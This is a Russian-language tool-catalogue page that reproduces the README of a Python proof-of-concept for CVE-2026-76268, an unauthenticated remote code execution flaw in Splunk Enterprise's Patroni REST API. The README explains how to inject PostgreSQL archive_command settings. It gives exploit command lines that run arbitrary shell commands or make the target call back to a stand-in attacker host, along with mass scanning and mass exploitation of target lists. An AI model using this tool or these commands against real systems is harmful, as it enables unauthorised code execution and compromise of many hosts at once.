Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-76268 — Python PoC для CVE-2026-76268: обнаруживает неаутентифицированный REST API Patroni на узлах Splunk SHC и эксплуатирует его через инъекцию в archive_command для достижения RCE. | Kitploit
Инструменты/GitHubGitHub/murrez/cve-2026-76268
РазведкаСканеры уязвимостейКартирование сетиЭксплуатацияЭксплуатация веб-приложенийПост-эксплуатацияТестирование на ПроникновениеИнструмент Удаленного Доступа
GitHubmurrez/cve-2026-76268

CVE-2026-76268

Python PoC для CVE-2026-76268: обнаруживает неаутентифицированный REST API Patroni на узлах Splunk SHC и эксплуатирует его через инъекцию в archive_command для достижения RCE.

83222 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

CVE-2026-76268 — Неаутентифицированное RCE через Patroni REST API в Splunk Enterprise

Python 3 PoC для CVE-2026-76268 — Splunk Enterprise на членах кластера search head (SHC). Рекомендация SVD-2026-1001.

CVE.orghttps://www.cve.org/CVERecord?id=CVE-2026-76268
Рекомендацияhttps://advisory.splunk.com/advisories/SVD-2026-1001
КомпонентPostgreSQL sidecar (Storage) → Patroni REST API
Затронуто10.2.0 – 10.2.6, 10.4.0 – 10.4.2
Исправление10.2.7, 10.4.3 (и более поздние)
Не затронуто (данный CVE)10.0.x, 9.4.x
CWECWE-306 — отсутствие аутентификации для критической функции
CVSS 3.19.8 Critical
Маркер проверкиPOCBIT-76268-OK
PoCbithttps://pocbit.org/pocs/cve-2026-76268

Описание

На уязвимых членах SHC Splunk Enterprise Patroni REST API (часть PostgreSQL sidecar, появившегося в Splunk 10.x) принимает запросы, изменяющие состояние, без аутентификации. Злоумышленник, имеющий сетевой доступ к слушателю Patroni, может изменить динамическую конфигурацию кластера и вызвать выполнение команд операционной системы через параметры PostgreSQL, такие как archive_command (цепочка Patroni PATCH /config + POST /restart).

Данный PoC обращается напрямую к Patroni (обычно TCP 8008 или порт, назначенный IPC Broker Splunk). Он не использует Splunk Web (8000) или порт управления Splunk (8089). Это другая поверхность атаки (например, исторические проблемы sidecar через прокси splunkd).

Предусловия для реального воздействия:

  • Хост является членом SHC (а не отдельным узлом только с индексером без стека sidecar).
  • Sidecar [postgres] включён (disabled = true удаляет Patroni).
  • Порт Patroni доступен злоумышленнику (часто неправильно настроенный межсетевой экран, открывающий внутренние порты кластера).

Требования

cd CVE-2026-76268
pip install -r requirements.txt
  • Python 3.9+
  • Зависимости: requests, urllib3

Обзор использования

РежимНазначение
check (по умолчанию)Поиск Patroni на распространённых портах; проверка неаутентифицированного PATCH /config
exploitЗапуск цепочки RCE в Patroni (archive_command + перезапуск)
Массовый режим--list FILE с потоками -j; записывает JSONL + опциональные списки найденных/эксплуатированных целей

Необходимо указать либо -t TARGET, либо --list FILE.

Форматы целей (-t / строки в --list)

ФорматПример
Только хост (сканирование портов по умолчанию)192.168.1.50
Хост + порт192.168.1.50:8008
Полный URLhttp://10.0.0.5:8008

Комментарии в файлах списков: строки, начинающиеся с #, игнорируются.


Режим проверки

Обнаружение Patroni и оценка того, разрешены ли неаутентифицированные изменения конфигурации.

python poc.py -t 192.168.1.50 --mode check
python poc.py -t 192.168.1.50:8008 --mode check
python poc.py --list targets.example.txt --mode check -j 20 --vuln-list hits.txt

Что делает PoC:

  1. Пытается выполнить GET /patroni (или /) на каждом порту из --ports (по умолчанию 8008,8009,8010,18008).
  2. Отправляет PATCH /config с пустым JSON-телом и без учётных данных.
  3. Помечает exploitable_candidate: true, когда Patroni отвечает и PATCH не отклоняется с 401/403.

Полезные флаги:

ФлагЗначение
--portsСписок портов Patroni для сканирования через запятую
--portПропустить сканирование; использовать только один порт
--timeoutТайм-аут HTTP (секунды, по умолчанию 20)
--proxyHTTP(S)-прокси для запросов
--outputЖурнал JSONL (по умолчанию cve_2026_76268_results.jsonl)
--vuln-listКандидаты, разделённые табуляцией (по умолчанию hits.txt)
--quietМеньше вывода в консоль
--no-colorОбычный терминал

Код выхода: 0, если exploitable_candidate истинно; иначе 1.

Рекомендуемый порядок работы: массовая проверка → просмотр hits.txt → массовая эксплуатация только на авторизованных хостах.


Режим эксплуатации (--mode exploit)

Запускает цепочку внедрения конфигурации Patroni. Это изменяет динамическую конфигурацию работающих sidecar/PostgreSQL на цели.

Цепочка

  1. Обнаружение — то же, что при проверке (если не задан --port).
  2. Проверка авторизации — прерывание, если PATCH /config возвращает 401/403.
  3. PATCH /config — устанавливает wal_level=replica, archive_mode=always, archive_timeout=1 и ваш archive_command.
  4. POST /restart — применяет ожидающую конфигурацию PostgreSQL.
  5. Ожидание — --wait-archive секунд (по умолчанию 3); archive_command выполняется в цикле архивации WAL (не мгновенно).

Примеры для одной цели

# OOB verification (recommended): callback receives GET .../POCBIT-76268-OK
python poc.py -t 192.168.1.50:8008 --mode exploit --oob http://YOUR_IP:8888

# Lab marker file on the Splunk host (runs as sidecar/Postgres user)
python poc.py -t 192.168.1.50 --mode exploit --wait-archive 5

# Custom shell command (your responsibility to quote safely)
python poc.py -t 192.168.1.50 --mode exploit --command "id > /tmp/splunk-poc"

# Force port, longer wait for slow archives
python poc.py -t 192.168.1.50 --mode exploit --port 8008 --wait-archive 10

Массовый эксплойт

python poc.py --list hits.txt --mode exploit -j 5 --oob http://CALLBACK:8888

Выходные данные:

  • --output — полный JSONL (массовый эксплойт по умолчанию использует cve_2026_76268_exploit.jsonl, если вы оставили имя по умолчанию).
  • --exploited-list — строки, где exploited: true (по умолчанию exploited.txt).

Флаги эксплойта

ФлагЗначение
--oob URLБазовый URL; команда выполняет curl/wget на URL/POCBIT-76268-OK
--commandПолная строка PostgreSQL archive_command (переопределяет значение OOB по умолчанию)
--wait-archiveСекунды ожидания после перезапуска перед завершением PoC
--ports / --portОбнаружение портов или фиксированный порт Patroni
--tlsИспользовать https:// для Patroni (необычно для стандартной документации Splunk sidecar)

Команда по умолчанию, когда не заданы ни --oob, ни --command:
touch /tmp/POCBIT-76268-OK

Код выхода: 0, когда PATCH и перезапуск приняты (exploited: true). Это означает, что цепочка была доставлена, а не что ваш callback или файловое подтверждение уже сработали. Подтвердите с помощью OOB или проверок файловой системы на хосте.

Важно: Patroni может игнорировать динамические изменения, если те же параметры заблокированы в локальной конфигурации (усиление защиты вендором). В этом случае эксплойт может не сработать даже на старых сборках Splunk.


Вывод JSON (одиночный запуск -t)

Выводится в stdout (форматированный JSON). Массовый режим записывает один объект JSON на строку.

Скачать инструмент